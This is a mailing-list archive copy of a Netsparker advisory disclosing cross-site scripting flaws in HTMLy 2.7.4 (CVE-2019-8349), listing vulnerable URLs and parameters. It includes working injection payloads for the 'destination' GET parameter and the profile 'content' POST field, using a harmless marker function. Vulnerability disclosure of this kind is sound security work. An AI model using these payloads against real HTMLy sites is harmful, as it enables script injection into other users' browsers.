Multiple Cross-Site Scripting Vulnerabilities in HTMLy 2.7.4

                							

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<h1 class="m-title">Multiple Cross-Site Scripting Vulnerabilities in HTMLy 2.7.4</h1>
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<em>From</em>: Daniel Bishtawi &lt;daniel () netsparker com&gt;


<em>Date</em>: Mon, 18 Feb 2019 10:39:38 +0100


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<pre style="margin: 0em;">Hello,

We are glad to inform you about the vulnerabilities we reported in HTMLy
2.7.4.

Here are the details:

Advisory by Netsparker
Name: Cross-Site Scripting Vulnerabilities in HTMLy 2.7.4
Affected Software: HTMLy
Affected Versions: 2.7.4
Homepage: <a rel="nofollow" href="https://github.com/danpros/htmly">https://github.com/danpros/htmly</a>
Vulnerability: Cross-Site Scripting
Severity: High
Status: Not Fixed
CVE-ID: CVE-2019-8349
CVSS Score (3.0): CVSS:3.0/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Netsparker Advisory Reference: NS-18-059

Technical Details:

URL
<a rel="nofollow" href="http://ns.app/ScanApp/htmly/2018/04/test-image-post/delete?destination=x&quot;">http://ns.app/ScanApp/htmly/2018/04/test-image-post/delete?destination=x"</a>;
onmouseover=netsparker(0x004191) x="
Parameter Name  destination
Parameter Type  GET
Attack Pattern  x%22+onmouseover%3dnetsparker(0x004191)+x%3d%22

URL  <a rel="nofollow" href="http://ns.app/ScanApp/htmly/2018/04/test-image-post/edit?destination=x&quot;">http://ns.app/ScanApp/htmly/2018/04/test-image-post/edit?destination=x"</a>;
onmouseover=netsparker(0x00409D) x="
Parameter Name  destination
Parameter Type  GET
Attack Pattern  x%22+onmouseover%3dnetsparker(0x00409D)+x%3d%22

URL  <a rel="nofollow" href="http://ns.app/ScanApp/htmly/author/kanti">http://ns.app/ScanApp/htmly/author/kanti</a>
Injection URL  <a rel="nofollow" href="http://ns.app/ScanApp/htmly/edit/profile">http://ns.app/ScanApp/htmly/edit/profile</a>
Parameter Name  content
Parameter Type  POST
Attack Pattern  '"--&gt;&lt;/style&gt;&lt;/scRipt&gt;&lt;scRipt&gt;netsparker(0x005D63)&lt;/scRipt&gt;

For more information and the Technical Details:
<a rel="nofollow" href="https://www.netsparker.com/web-applications-advisories/ns-18-059-cross-site-scripting-in-htmly/">https://www.netsparker.com/web-applications-advisories/ns-18-059-cross-site-scripting-in-htmly/</a>

Regards,

Daniel Bishtawi
Marketing Administrator | Netsparker Web Application Security Scanner
Tel: +44 (0)20 3588 3843
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<h3 class="m-thread">Current thread:</h3>
<ul class="thread">
<li><strong>Multiple Cross-Site Scripting Vulnerabilities in HTMLy 2.7.4</strong> <em>Daniel Bishtawi (Feb 21)</em>
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